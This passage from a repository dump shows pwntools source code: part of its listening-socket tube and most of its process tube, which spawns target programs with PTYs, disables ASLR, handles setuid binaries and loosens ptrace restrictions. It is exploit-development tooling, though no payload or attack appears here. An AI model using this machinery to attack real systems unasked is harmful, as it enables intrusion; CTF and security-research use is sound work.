self.type == socket.SOCK_STREAM:\n                listen_sock.listen(1)\n            break\n        else:\n            h.failure()\n            self.error(\"Could not bind to %s on port %s\" % (bindaddr, port))\n\n        h.success()\n\n        h = self.waitfor('Waiting for connections on %s:%s' % (self.lhost, self.lport))\n\n        def accepter():\n            while True:\n                try:\n                    if self.type == socket.SOCK_STREAM:\n                        self.sock, rhost = listen_sock.accept()\n                        listen_sock.close()\n                    else:\n                        data, rhost = listen_sock.recvfrom(4096)\n                        listen_sock.connect(rhost)\n                        self.sock = listen_sock\n                        self.unrecv(data)\n                    self.settimeout(self.timeout)\n                    break\n                except socket.error as e:\n                    if e.errno == errno.EINTR:\n                        continue\n                    h.failure()\n                    self.exception(\"Socket failure while waiting for connection\")\n                    self.sock = None\n                    return\n\n            self.rhost, self.rport = rhost[:2]\n            h.success('Got connection from %s on port %d' % (self.rhost, self.rport))\n\n        self._accepter = context.Thread(target = accepter)\n        self._accepter.daemon = True\n        self._accepter.start()\n\n    def spawn_process(self, *args, **kwargs):\n        def accepter():\n            self.wait_for_connection()\n            self.sock.setblocking(1)\n            p = super(listen, self).spawn_process(*args, **kwargs)\n            p.wait()\n            self.close()\n        t = context.Thread(target = accepter)\n        t.daemon = True\n        t.start()\n\n    def wait_for_connection(self):\n        \"\"\"Blocks until a connection has been established.\"\"\"\n        self.sock\n        return self\n\n    @property\n    def sock(self):\n        try:\n            return self.__dict__['sock']\n        except KeyError:\n            pass\n        self._accepter.join(timeout=self.timeout)\n        return self.__dict__.get('sock')\n\n    @sock.setter\n    def sock(self, s):\n        self.__dict__['sock'] = s\n\n    def close(self):\n        # since `close` is scheduled to run on exit we must check that we got\n        # a connection or the program will hang in the `join` call above\n        if self._accepter and self._accepter.is_alive():\n            return\n        super(listen, self).close()\n"
  },
  {
    "path": "pwnlib/tubes/process.py",
    "content": "import ctypes\nimport errno\nimport logging\nimport os\nimport select\nimport signal\nimport stat\nimport subprocess\nimport sys\nimport time\nfrom collections import namedtuple\n\nIS_WINDOWS = sys.platform.startswith('win')\n\nif IS_WINDOWS:\n    import queue\n    import threading\nelse:\n    import fcntl\n    import pty\n    import resource\n    import tty\n\nfrom pwnlib import qemu\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.timeout import Timeout\nfrom pwnlib.tubes.tube import tube\nfrom pwnlib.util.hashes import sha256file\nfrom pwnlib.util.misc import parse_ldd_output\nfrom pwnlib.util.misc import which\nfrom pwnlib.util.misc import normalize_argv_env\nfrom pwnlib.util.packing import _decode\n\nlog = getLogger(__name__)\n\nclass PTY(object): pass\nPTY=PTY()\nSTDOUT = subprocess.STDOUT\nPIPE = subprocess.PIPE\n\nsignal_names = {-v:k for k,v in signal.__dict__.items() if k.startswith('SIG')}\n\nclass process(tube):\n    r\"\"\"\n    Spawns a new process, and wraps it with a tube for communication.\n\n    Arguments:\n\n        argv(list):\n            List of arguments to pass to the spawned process.\n        shell(bool):\n            Set to `True` to interpret `argv` as a string\n            to pass to the shell for interpretation instead of as argv.\n        executable(str):\n            Path to the binary to execute.  If :const:`None`, uses ``argv[0]``.\n            Cannot be used with ``shell``.\n        cwd(str):\n            Working directory.  Uses the current working directory by default.\n        env(dict):\n            Environment variables to add to the environment.\n        ignore_environ(bool):\n            Ignore Python's environment.  By default use Python's environment iff env not specified.\n        stdin(int):\n            File object or file descriptor number to use for ``stdin``.\n            By default, a pipe is used.  A pty can be used instead by setting\n            this to ``PTY``.  This will cause programs to behave in an\n            interactive manner (e.g.., ``python`` will show a ``>>>`` prompt).\n            If the application reads from ``/dev/tty`` directly, use a pty.\n        stdout(int):\n            File object or file descriptor number to use for ``stdout``.\n            By default, a pty is used so that any stdout buffering by libc\n            routines is disabled.\n            May also be ``PIPE`` to use a normal pipe.\n        stderr(int):\n            File object or file descriptor number to use for ``stderr``.\n            By default, ``STDOUT`` is used.\n            May also be ``PIPE`` to use a separate pipe,\n            although the :class:`pwnlib.tubes.tube.tube` wrapper will not be able to read this data.\n        close_fds(bool):\n            Close all open file descriptors except stdin, stdout, stderr.\n            By default, :const:`True` is used.\n        preexec_fn(callable):\n            Callable to invoke immediately before calling ``execve``.\n        preexec_args(iterable):\n            Arguments passed to ``preexec_fn``.\n        raw(bool):\n            Set the created pty to raw mode (i.e. disable echo and control\n            characters).  :const:`True` by default.  If no pty is created, this\n            has no effect.\n        aslr(bool):\n            If set to :const:`False`, disable ASLR via ``personality`` (``setarch -R``)\n            and ``setrlimit`` (``ulimit -s unlimited``).\n\n            This disables ASLR for the target process.  However, the ``setarch``\n            changes are lost if a ``setuid`` binary is executed.\n\n            The default value is inherited from ``context.aslr``.\n            See ``setuid`` below for additional options and information.\n        setuid(bool):\n            Used to control `setuid` status of the target binary, and the\n            corresponding actions taken.\n\n            By default, this value is :const:`None`, so no assumptions are made.\n\n            If :const:`True`, treat the target binary as ``setuid``.\n            This modifies the mechanisms used to disable ASLR on the process if\n            ``aslr=False``.\n            This is useful for debugging locally, when the exploit is a\n            ``setuid`` binary.\n\n            If :const:`False`, prevent ``setuid`` bits from taking effect on the\n            target binary.  This is only supported on Linux, with kernels v3.5\n            or greater.\n        where(str):\n            Where the process is running, used for logging purposes.\n        display(list):\n            List of arguments to display, instead of the main executable name.\n        alarm(int):\n            Set a SIGALRM alarm timeout on the process.\n        creationflags(int):\n            Windows only.  Flags to pass to ``CreateProcess``.\n\n    Examples:\n\n        >>> p = process('python')\n        >>> p.sendline(b\"print('Hello world')\")\n        >>> p.sendline(b\"print('Wow, such data')\")\n        >>> b'' == p.recv(timeout=0.01)\n        True\n        >>> p.shutdown('send')\n        >>> p.proc.stdin.closed\n        True\n        >>> p.connected('send')\n        False\n        >>> p.recvline()\n        b'Hello world\\n'\n        >>> p.recvuntil(b',')\n        b'Wow,'\n        >>> p.recvregex(b'.*data')\n        b' such data'\n        >>> p.recv()\n        b'\\n'\n        >>> p.recv() # doctest: +ELLIPSIS\n        Traceback (most recent call last):\n        ...\n        EOFError\n\n        >>> p = process('cat')\n        >>> d = open('/dev/urandom', 'rb').read(4096)\n        >>> p.recv(timeout=0.1)\n        b''\n        >>> p.write(d)\n        >>> p.recvrepeat(0.1) == d\n        True\n        >>> p.recv(timeout=0.1)\n        b''\n        >>> p.shutdown('send')\n        >>> p.wait_for_close()\n        >>> p.poll()\n        0\n\n        >>> p = process('cat /dev/zero | head -c8', shell=True, stderr=open('/dev/null', 'w+b'))\n        >>> p.recv()\n        b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n        >>> p = process(['python','-c','import os; print(os.read(2,1024).decode())'],\n        ...             preexec_fn = lambda: os.dup2(0,2))\n        >>> p.sendline(b'hello')\n        >>> p.recvline()\n        b'hello\\n'\n\n        >>> stack_smashing = ['python','-c','open(\"/dev/tty\",\"wb\").write(b\"stack smashing detected\")']\n        >>> process(stack_smashing).recvall()\n        b'stack smashing detected'\n\n        >>> process(stack_smashing, stdout=PIPE).recvall()\n        b''\n\n        >>> getpass = ['python','-c','import getpass; print(getpass.getpass(\"XXX\"))']\n        >>> p = process(getpass, stdin=PTY)\n        >>> p.recv()\n        b'XXX'\n        >>> p.sendline(b'hunter2')\n        >>> p.recvall()\n        b'\\nhunter2\\n'\n\n        >>> process('echo hello 1>&2', shell=True).recvall()\n        b'hello\\n'\n\n        >>> process('echo hello 1>&2', shell=True, stderr=PIPE).recvall()\n        b''\n\n        >>> a = process(['cat', '/proc/self/maps']).recvall()\n        >>> b = process(['cat', '/proc/self/maps'], aslr=False).recvall()\n        >>> with context.local(aslr=False):\n        ...    c = process(['cat', '/proc/self/maps']).recvall()\n        >>> a == b\n        False\n        >>> b == c\n        True\n\n        >>> process(['sh','-c','ulimit -s'], aslr=0).recvline()\n        b'unlimited\\n'\n\n        >>> io = process(['sh','-c','sleep 10; exit 7'], alarm=2)\n        >>> io.poll(block=True) == -signal.SIGALRM\n        True\n\n        >>> binary = ELF.from_assembly('nop', arch='mips')\n        >>> p = process(binary.path)\n        >>> binary_dir, binary_name = os.path.split(binary.path)\n        >>> p = process('./{}'.format(binary_name), cwd=binary_dir)\n        >>> p = process(binary.path, cwd=binary_dir)\n        >>> p = process('./{}'.format(binary_name), cwd=os.path.relpath(binary_dir))\n        >>> p = process(binary.path, cwd=os.path.relpath(binary_dir))\n\n        >>> def write(s):\n        ...    import os\n        ...    os.write(1, s)\n        >>> print(process('false', preexec_fn=write, preexec_args=(b\"Hello World!\", )).recvline().strip().decode())\n        Hello World!\n    \"\"\"\n\n    STDOUT = STDOUT\n    PIPE = PIPE\n    PTY = PTY\n\n    #: Have we seen the process stop?  If so, this is a unix timestamp.\n    _stop_noticed = 0\n\n    proc = None\n\n    def __init__(self, argv = None,\n                 shell = False,\n                 executable = None,\n                 cwd = None,\n                 env = None,\n                 ignore_environ = None,\n                 stdin  = PIPE,\n                 stdout = PTY if not IS_WINDOWS else PIPE,\n                 stderr = STDOUT,\n                 close_fds = True,\n                 preexec_fn = lambda: None,\n                 preexec_args = (),\n                 raw = True,\n                 aslr = None,\n                 setuid = None,\n                 where = 'local',\n                 display = None,\n                 alarm = None,\n                 creationflags = 0,\n                 *args,\n                 **kwargs\n                 ):\n        super(process, self).__init__(*args,**kwargs)\n\n        # Permit using context.binary\n        if argv is None:\n            if context.binary:\n                argv = [context.binary.path]\n            else:\n                raise TypeError('Must provide argv or set context.binary')\n\n        if IS_WINDOWS and PTY in (stdin, stdout, stderr):\n            raise NotImplementedError(\"ConPTY isn't implemented yet\")\n\n        #: :class:`subprocess.Popen` object that backs this process\n        self.proc = None\n\n        # We need to keep a copy of the un-_validated environment for printing\n        original_env = env\n\n        if shell:\n            executable_val, argv_val, env_val = executable, argv, env\n            if executable is None:\n                if IS_WINDOWS:\n                    executable_val = os.environ.get('ComSpec', 'cmd.exe')\n                else:\n                    executable_val = '/bin/sh'\n        else:\n            executable_val, argv_val, env_val = self._validate(cwd, executable, argv, env)\n\n        if IS_WINDOWS:\n            self.pty = None\n            self.raw = False\n            self.aslr = True\n            self._setuid = False\n            self.suid = self.uid = None\n            self.sgid = self.gid = None\n            internal_preexec_fn = None\n        else:\n            # Avoid the need to have to deal with the STDOUT magic value.\n            if stderr is STDOUT:\n                stderr = stdout\n\n            # Determine which descriptors will be attached to a new PTY\n            handles = (stdin, stdout, stderr)\n\n            #: Which file descriptor is the controlling TTY\n            self.pty          = handles.index(PTY) if PTY in handles else None\n\n            #: Whether the controlling TTY is set to raw mode\n            self.raw          = raw\n\n            #: Whether ASLR should be left on\n            self.aslr         = aslr if aslr is not None else context.aslr\n\n            #: Whether setuid is permitted\n            self._setuid      = setuid if setuid is None else bool(setuid)\n\n            # Create the PTY if necessary\n            stdin, stdout, stderr, master, slave = self._handles(*handles)\n\n            internal_preexec_fn = self.__preexec_fn\n\n        #: Arguments passed on argv\n        self.argv = argv_val\n\n        #: Full path to the executable\n        self.executable = executable_val\n\n        if ignore_environ is None:\n            ignore_environ = env is not None  # compat\n\n        #: Environment passed on envp\n        self.env = {} if ignore_environ else dict(getattr(os, \"environb\", os.environ))\n\n        # Add environment variables as needed\n        self.env.update(env_val or {})\n\n        self._cwd = os.path.realpath(cwd or os.path.curdir)\n\n        #: Alarm timeout of the process\n        self.alarm        = alarm\n\n        self.preexec_fn = preexec_fn\n        self.preexec_args = preexec_args\n        self.display    = display or self.program\n        self._qemu      = False\n        self._corefile  = None\n\n        message = \"Starting %s process %r\" % (where, self.display)\n\n        if self.isEnabledFor(logging.DEBUG):\n            if argv != [self.executable]: message += ' argv=%r ' % self.argv\n            if original_env not in (os.environ, None):  message += ' env=%r ' % self.env\n\n        with self.progress(message) as p:\n\n            if not self.aslr:\n                self.warn_once(\"ASLR is disabled!\")\n\n            # In the event the binary is a foreign architecture,\n            # and binfmt is not installed (e.g. when running on\n            # Travis CI), re-try with qemu-XXX if we get an\n            # 'Exec format error'.\n            prefixes = [([], self.executable)]\n            exception = None\n\n            for prefix, executable in prefixes:\n                try:\n                    args = self.argv\n                    if prefix:\n                        args = prefix + args\n                    self.proc = subprocess.Popen(args = args,\n                                                 shell = shell,\n                                                 executable = executable,\n                                                 cwd = cwd,\n                                                 env = self.env,\n                                                 stdin = stdin,\n                                                 stdout = stdout,\n                                                 stderr = stderr,\n                                                 close_fds = close_fds,\n                                                 preexec_fn = internal_preexec_fn,\n                                                 creationflags = creationflags)\n                    break\n                except OSError as exception:\n                    if sys.platform == 'win32':\n                        raise\n                    if exception.errno != errno.ENOEXEC:\n                        raise\n                    prefixes.append(self.__on_enoexec(exception))\n\n            p.success('pid %i' % self.pid)\n\n        if IS_WINDOWS:\n            self._read_thread = None\n            self._read_queue = queue.Queue()\n            if self.proc.stdout:\n                # Read from stdout in a thread\n                self._read_thread = threading.Thread(target=_read_in_thread, args=(self._read_queue, self.proc.stdout))\n                self._read_thread.daemon = True\n                self._read_thread.start()\n            return\n\n        if self.pty is not None:\n            if stdin is slave:\n                self.proc.stdin = os.fdopen(os.dup(master), 'r+b', 0)\n            if stdout is slave:\n                self.proc.stdout = os.fdopen(os.dup(master), 'r+b', 0)\n            if stderr is slave:\n                self.proc.stderr = os.fdopen(os.dup(master), 'r+b', 0)\n\n            os.close(master)\n            os.close(slave)\n\n        # Set in non-blocking mode so that a call to call recv(1000) will\n        # return as soon as a the first byte is available\n        if self.proc.stdout:\n            fd = self.proc.stdout.fileno()\n            fl = fcntl.fcntl(fd, fcntl.F_GETFL)\n            fcntl.fcntl(fd, fcntl.F_SETFL, fl | os.O_NONBLOCK)\n\n        # Save off information about whether the binary is setuid / setgid\n        self.suid = self.uid = os.getuid()\n        self.sgid = self.gid = os.getgid()\n        st = os.stat(self.executable)\n        if self._setuid:\n            if (st.st_mode & stat.S_ISUID):\n                self.suid = st.st_uid\n            if (st.st_mode & stat.S_ISGID):\n                self.sgid = st.st_gid\n\n    def __preexec_fn(self):\n        \"\"\"\n        Routine executed in the child process before invoking execve().\n\n        Handles setting the controlling TTY as well as invoking the user-\n        supplied preexec_fn.\n        \"\"\"\n        if self.pty is not None:\n            self.__pty_make_controlling_tty(self.pty)\n\n        if not self.aslr:\n            try:\n                if context.os == 'linux' and self._setuid is not True:\n                    ADDR_NO_RANDOMIZE = 0x0040000\n                    ctypes.CDLL('libc.so.6').personality(ADDR_NO_RANDOMIZE)\n\n                resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))\n            except Exception:\n                self.exception(\"Could not disable ASLR\")\n\n        # Check that the user would prefer to have core dumps or not.\n        try:\n            if context.disable_corefiles:\n                resource.setrlimit(resource.RLIMIT_CORE, (0, -1))\n            else:\n                resource.setrlimit(resource.RLIMIT_CORE, (-1, -1))\n        except Exception:\n            pass\n\n        # Given that we want a core file, assume that we want the whole thing.\n        try:\n            with open('/proc/self/coredump_filter', 'w') as f:\n                f.write('0xff')\n        except Exception:\n            pass\n\n        if self._setuid is False:\n            try:\n                PR_SET_NO_NEW_PRIVS = 38\n                ctypes.CDLL('libc.so.6').prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)\n            except Exception:\n                pass\n\n        # Avoid issues with attaching to processes when yama-ptrace is set\n        try:\n            PR_SET_PTRACER = 0x59616d61\n            PR_SET_PTRACER_ANY = -1\n            ctypes.CDLL('libc.so.6').prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY, 0, 0, 0)\n        except Exception:\n            pass\n\n\n        if self.alarm is not None:\n            signal.alarm(self.alarm)\n\n        self.preexec_fn(*self.preexec_args)\n\n    def __on_enoexec(self, exception):\n        \"\"\"We received an 'exec format' error (ENOEXEC)\n\n        This implies that the user tried to execute e.g.\n        an ARM binary on a non-ARM system, and does not have\n        binfmt helpers installed for QEMU.\n        \"\"\"\n        # Get the ELF binary for the target executable\n        with context.quiet:\n            # XXX: Cyclic imports :(\n            from pwnlib.elf import ELF\n            binary = ELF(self.executable)\n\n        # If we're on macOS, this will never work.  Bail now.\n        # if platform.mac_ver()[0]:\n            # self.error(\"Cannot run ELF binaries on macOS\")\n\n        # Determine what architecture the binary is, and find the\n        # appropriate qemu binary to run it.\n        qemu_path = qemu.user_path(arch=binary.arch)\n\n        if not qemu_path:\n            raise exception\n\n        qemu_path = which(qemu_path)\n        if qemu_path:\n            self._qemu = qemu_path\n\n            args = [qemu_path]\n            if self.argv:\n                args += ['-0', self.argv[0]]\n            args += ['--']\n\n            return [args, qemu_path]\n\n        # If we get here, we couldn't run the binary directly, and\n        # we don't have a qemu which can run it.\n        self.exception(exception)\n\n    @property\n    def program(self):\n        \"\"\"Alias for ``executable``, for backward compatibility.\n\n        Example:\n\n            >>> p = process('/bin/true')\n            >>> p.executable == '/bin/true'\n            True\n            >>> p.executable == p.program\n            True\n\n        \"\"\"\n        return self.executable\n\n    @property\n    def cwd(self):\n        \"\"\"Directory that the process is working in.\n\n        Example:\n\n            >>> p = process('sh')\n            >>> p.sendline(b'cd /tmp; echo AAA')\n            >>> _ = p.recvuntil(b'AAA')\n            >>> p.cwd == '/tmp'\n            True\n            >>> p.sendline(b'cd /proc; echo BBB;')\n            >>> _ = p.recvuntil(b'BBB')\n            >>> p.cwd\n            '/proc'\n        \"\"\"\n        try:\n            from pwnlib.util.proc import cwd\n            self._cwd = cwd(self.pid)\n        except Exception:\n            pass\n\n        return self._cwd\n\n\n    def _validate(self, cwd, executable, argv, env):\n        \"\"\"\n        Perform extended validation on the executable path, argv, and envp.\n\n        Mostly to make Python happy, but also to prevent common pitfalls.\n        \"\"\"\n\n        orig_cwd = cwd\n        cwd = cwd or os.path.curdir\n\n        argv, env = normalize_argv_env(argv, env, self, 4)\n        if env:\n            if sys.platform == 'win32':\n                # Windows requires that all environment variables be strings\n                env = {_decode(k): _decode(v) for k, v in env}\n            else:\n                env = {bytes(k): bytes(v) for k, v in env}\n        if argv:\n            argv = list(map(bytes, argv))\n\n        #\n        # Validate executable\n        #\n        # - Must be an absolute or relative path to the target executable\n        # - If not, attempt to resolve the name in $PATH\n        #\n        if not executable:\n            if not argv:\n                self.error(\"Must specify argv or executable\")\n            executable = argv[0]\n\n        if not isinstance(executable, str):\n            executable = executable.decode('utf-8')\n\n        path = env and env.get(b'PATH')\n        if path:\n            path = path.decode()\n        else:\n            path = os.environ.get('PATH')\n        # Do not change absolute paths to binaries\n        if executable.startswith(os.path.sep):\n            pass\n\n        # If there's no path component, it's in $PATH or relative to the\n        # target directory.\n        #\n        # For example, 'sh'\n        elif os.path.sep not in executable and which(executable, path=path):\n            executable = which(executable, path=path)\n\n        # Either there is a path component, or the binary is not in $PATH\n        # For example, 'foo/bar' or 'bar' with cwd=='foo'\n        elif os.path.sep not in executable:\n            tmp = executable\n            executable = os.path.join(cwd, executable)\n            self.warn_once(\"Could not find executable %r in $PATH, using %r instead\" % (tmp, executable))\n\n        # There is a path component and user specified a working directory,\n        # it must be relative to that directory. For example, 'bar/baz' with\n        # cwd='foo' or './baz' with cwd='foo/bar'\n        elif orig_cwd:\n            executable = os.path.join(orig_cwd, executable)\n\n        if not os.path.exists(executable):\n            self.error(\"%r does not exist\"  % executable)\n        if not os.path.isfile(executable):\n            self.error(\"%r is not a file\" % executable)\n        if not os.access(executable, os.X_OK):\n            self.error(\"%r is not marked as executable (+x)\" % executable)\n\n        return executable, argv, env\n\n    def _handles(self, stdin, stdout, stderr):\n        master = slave = None\n\n        if self.pty is not None:\n            # Normally we could just use PIPE and be happy.\n            # Unfortunately, this results in undesired behavior when\n            # printf() and similar functions buffer data instead of\n            # sending it directly.\n            #\n            # By opening a PTY for STDOUT, the libc routines will not\n            # buffer any data on STDOUT.\n            master, slave = pty.openpty()\n\n            if self.raw:\n                # By giving the child process a controlling TTY,\n                # the OS will attempt to interpret terminal control codes\n                # like backspace and Ctrl+C.\n                #\n                # If we don't want this, we set it to raw mode.\n                tty.setraw(master)\n                tty.setraw(slave)\n\n            if stdin is PTY:\n                stdin = slave\n            if stdout is PTY:\n                stdout = slave\n            if stderr is PTY:\n                stderr = slave\n\n        return stdin, stdout, stderr, master, slave\n\n    def __getattr__(self, attr):\n        \"\"\"Permit pass-through access to the underlying process object for\n        fields like ``pid`` and ``stdin``.\n        \"\"\"\n        if not attr.startswith('_') and hasattr(self.proc, attr):\n            return getattr(self.proc, attr)\n        raise AttributeError(\"'process' object has no attribute '%s'\" % attr)\n\n    def kill(self):\n        \"\"\"kill()\n\n        Kills the process.\n        \"\"\"\n        self.close()\n\n    def terminate(self):\n        \"\"\"terminate()\n\n        Terminates the process by sending SIGTERM.\n        \n        This is a more graceful way to stop a process compared to :meth:`kill`,\n        which sends SIGKILL. The process has a chance to clean up and\n        exit gracefully when receiving SIGTERM.\n\n        The process can choose to ignore this signal, so proper cleanup\n        is only done in :meth:`kill`/:meth:`close`.\n        \n        Examples:\n        \n            >>> p = process(['python', '-u', '-c', 'import signal;signal.signal(signal.SIGTERM, lambda signum,frame: (print(\"sigterm\"),exit(0)));print(\"ready\");import time;time.sleep(10)'])\n            >>> p.recvline_contains(b'ready')\n            b'ready'\n            >>> p.terminate()\n            >>> p.recvuntil(b'sigterm')\n            b'sigterm'\n            >>> p.close()\n        \"\"\"\n        if self.proc is None:\n            return\n            \n        try:\n            self.proc.terminate()\n        except OSError:\n            # Process might have already exited\n            pass\n\n        # Check if process is still running.\n        self.poll()\n\n    def poll(self, block = False):\n        \"\"\"poll(block = False) -> int\n\n        Arguments:\n            block(bool): Wait for the process to exit\n\n        Poll the exit code of the process. Will return None, if the\n        process has not yet finished and the exit code otherwise.\n        \"\"\"\n\n        # In order to facilitate retrieving core files, force an update\n        # to the current working directory\n        _ = self.cwd\n\n        if block:\n            self.wait_for_close()\n\n        self.proc.poll()\n        returncode = self.proc.returncode\n\n        if returncode is not None and not self._stop_noticed:\n            self._stop_noticed = time.time()\n            signame = ''\n            if returncode < 0:\n                signame = ' (%s)' % (signal_names.get(returncode, 'SIG???'))\n\n            self.info(\"Process %r stopped with exit code %d%s (pid %i)\" % (self.display,\n                                                                  returncode,\n                                                                  signame,\n                                                                  self.pid))\n        return returncode\n\n    def communicate(self, stdin = None):\n        \"\"\"communicate(stdin = None) -> str\n\n        Calls :meth:`subprocess.Popen.communicate` method on the process.\n        \"\"\"\n\n        return self.proc.communicate(stdin)\n\n    # Implementation of the methods required for tube\n    def recv_raw(self, numb):\n        # This is a slight hack. We try to notice if the process is\n        # dead, so we can write a message.\n        self.poll()\n\n        if not self.connected_raw('recv'):\n            raise EOFError\n\n        if not self.can_recv_raw(self.timeout):\n            return ''\n\n        if IS_WINDOWS:\n            data = b''\n            count = 0\n            while count < numb:\n                if self._read_queue.empty():\n                    break\n                last_byte = self._read_queue.get(block=False)\n                data += last_byte\n                count += 1\n            return data\n\n        # This will only be reached if we either have data,\n        # or we have reached an EOF. In either case, it\n        # should be safe to read without expecting it to block.\n        data = ''\n\n        try:\n            data = self.proc.stdout.read(numb)\n        except IOError:\n            pass\n\n        if not data:\n            self.shutdown(\"recv\")\n            raise EOFError\n\n        return data\n\n    def send_raw(self, data):\n        # This is a slight hack. We try to notice if the process is\n        # dead, so we can write a message.\n        self.poll()\n\n        if not self.connected_raw('send'):\n            raise EOFError\n\n        try:\n            self.proc.stdin.write(data)\n            self.proc.stdin.flush()\n        except IOError:\n            raise EOFError\n\n    def settimeout_raw(self, timeout):\n        pass\n\n    def can_recv_raw(self, timeout):\n        if not self.connected_raw('recv'):\n            return False\n\n        if IS_WINDOWS:\n            with self.countdown(timeout=timeout):\n                while self.timeout and self._read_queue.empty() and self._read_thread.is_alive():\n                    time.sleep(0.01)\n                if not self._read_queue.empty():\n                    return True\n                if not self._read_thread.is_alive():\n                    raise EOFError\n                return False\n\n        try:\n            if timeout is None:\n                return select.select([self.proc.stdout], [], []) == ([self.proc.stdout], [], [])\n\n            return select.select([self.proc.stdout], [], [], timeout) == ([self.proc.stdout], [], [])\n        except ValueError:\n            # Not sure why this isn't caught when testing self.proc.stdout.closed,\n            # but it's not.\n            #\n            #   File \"/home/user/pwntools/pwnlib/tubes/process.py\", line 112, in can_recv_raw\n            #     return select.select([self.proc.stdout], [], [], timeout) == ([self.proc.stdout], [], [])\n            # ValueError: I/O operation on closed file\n            raise EOFError\n        except select.error as v:\n            if v.args[0] == errno.EINTR:\n                return False\n\n    def connected_raw(self, direction):\n        if direction == 'any':\n            return self.poll() is None\n        elif direction == 'send':\n            return self.proc.stdin and not self.proc.stdin.closed\n        elif direction == 'recv':\n            return self.proc.stdout and not self.proc.stdout.closed\n\n    def close(self):\n        if self.proc is None:\n            return\n\n        # First check if we are already dead\n        self.poll()\n\n        if not self._stop_noticed:\n            try:\n                self.proc.kill()\n                self.proc.wait()\n                self._stop_noticed = time.time()\n                self.info('Stopped process %r (pid %i)' % (self.program, self.pid))\n            except OSError:\n                pass\n\n        # close file descriptors\n        for fd in [self.proc.stdin, self.proc.stdout, self.proc.stderr]:\n            if fd is not None:\n                try:\n                    fd.close()\n                except IOError as e:\n                    if e.errno != errno.EPIPE and e.errno != errno.EINVAL:\n                        raise\n\n\n    def fileno(self):\n        if not self.connected():\n            self.error(\"A stopped process does not have a file number\")\n\n        return self.proc.stdout.fileno()\n\n    def shutdown_raw(self, direction):\n        if direction == \"send\":\n            self.proc.stdin.close()\n\n        if direction == \"recv\":\n            self.proc.stdout.close()\n\n        if all(fp is None or fp.closed for fp in [self.proc.stdin, self.proc.stdout]):\n            self.close()\n\n    def __pty_make_controlling_tty(self, tty_fd):\n        '''This makes the pseudo-terminal the controlling tty. This should be\n        more portable than the pty.fork() function. Specifically, this should\n        work on Solaris. '''\n\n        child_name = os.ttyname(tty_fd)\n\n        # Disconnect from controlling tty. Harmless if not already connected.\n        try:\n            fd = os.open(\"/dev/tty\", os.O_RDWR | os.O_NOCTTY)\n            if fd >= 0:\n                os.close(fd)\n        # which exception, shouldnt' we catch explicitly .. ?\n        except OSError:\n            # Already disconnected. This happens if running inside cron.\n            pass\n\n        os.setsid()\n\n        # Verify we are disconnected from controlling tty\n        # by attempting to open it again.\n        try:\n            fd = os.open(\"/dev/tty\", os.O_RDWR | os.O_NOCTTY)\n            if fd >= 0:\n                os.close(fd)\n                raise Exception('Failed to disconnect from '\n                    'controlling tty. It is still possible to open /dev/tty.')\n        # which exception, shouldnt' we catch explicitly .. ?\n        except OSError:\n            # Good! We are disconnected from a controlling tty.\n            pass\n\n        # Verify we can open child pty.\n        fd = os.open(child_name, os.O_RDWR)\n        if fd < 0:\n            raise Exception(\"Could not open child pty, \" + child_name)\n        else:\n            os.close(fd)\n\n        # Verify we now have a controlling tty.\n        fd = os.open(\"/dev/tty\", os.O_WRONLY)\n        if fd < 0:\n            raise Exception(\"Could not open controlling tty, /dev/tty\")\n        else:\n            os.close(fd)\n\n    def maps(self):\n        \"\"\"maps() -> [mapping]\n\n        Returns a list of process mappings.\n        \n        A mapping object has the following fields:\n            addr, address (addr alias), start (addr alias), end, size, perms, path, rss, pss, shared_clean, shared_dirty, private_clean, private_dirty, referenced, anonymous, swap\n\n        perms is a permissions object, with the following fields:\n            read, write, execute, private, shared, string\n\n        Example:\n      \n            >>> p = process(['cat'])\n            >>> p.sendline(b\"meow\")\n            >>> p.recvline()\n            b'meow\\\\n'\n            >>> proc_maps = open(\"/proc/\" + str(p.pid) + \"/maps\", \"r\").readlines()\n            >>> pwn_maps = p.maps()\n            >>> len(proc_maps) == len(pwn_maps)\n            True\n            >>> checker_arr = []\n            >>> for proc, pwn in zip(proc_maps, pwn_maps):\n            ...     proc = proc.split(' ')\n            ...     p_addrs = proc[0].split('-')\n            ...     checker_arr.append(int(p_addrs[0], 16) == pwn.addr == pwn.address == pwn.start)\n            ...     checker_arr.append(int(p_addrs[1], 16) == pwn.end)\n            ...     checker_arr.append(pwn.size == pwn.end - pwn.start)\n            ...     checker_arr.append(pwn.perms.string == proc[1])\n            ...     proc_path = proc[-1].strip()\n            ...     checker_arr.append(pwn.path == proc_path or (pwn.path == '[anon]' and proc_path == ''))\n            ...\n            >>> checker_arr == [True] * len(proc_maps) * 5\n            True\n\n        Useful information about this can be found at: https://man7.org/linux/man-pages/man5/proc.5.html\n        specifically the /proc/pid/maps section.\n\n        memory_maps() returns a list of pmmap_ext objects. The definition (from psutil/_pslinux.py) is:\n\n        .. code-block:: python\n\n            pmmap_grouped = namedtuple(\n                'pmmap_grouped',\n                ['path', 'rss', 'size', 'pss', 'shared_clean', 'shared_dirty',\n                'private_clean', 'private_dirty', 'referenced', 'anonymous', 'swap'])\n            pmmap_ext = namedtuple(\n                'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))\n\n            \n        Here is an example of a pmmap_ext entry: \n\n        .. code-block:: python\n\n            pmmap_ext(addr='15555551c000-155555520000', perms='r--p', path='[vvar]', rss=0, size=16384, pss=0, shared_clean=0, shared_dirty=0, private_clean=0, private_dirty=0, referenced=0, anonymous=0, swap=0)\n        \"\"\"\n\n        permissions = namedtuple(\"permissions\", \"read write execute private shared string\")\n        mapping = namedtuple(\"mapping\", \n            \"addr address start end size perms path rss pss shared_clean shared_dirty private_clean private_dirty referenced anonymous swap\")\n        # addr = address (alias) = start (alias)\n\n        from pwnlib.util.proc import memory_maps\n        raw_maps = memory_maps(self.pid)\n\n        maps = []\n        # raw_mapping\n        for r_m in raw_maps:\n            p_perms = permissions('r' in r_m.perms, 'w' in r_m.perms, 'x' in r_m.perms, 'p' in r_m.perms, 's' in r_m.perms, r_m.perms)\n            addr_split = r_m.addr.split('-')\n            p_addr = int(addr_split[0], 16)\n            p_mapping = mapping(p_addr, p_addr, p_addr, int(addr_split[1], 16), r_m.size, p_perms, r_m.path, r_m.rss,\n                                r_m.pss, r_m.shared_clean, r_m.shared_dirty, r_m.private_clean, r_m.private_dirty,\n                                r_m.referenced, 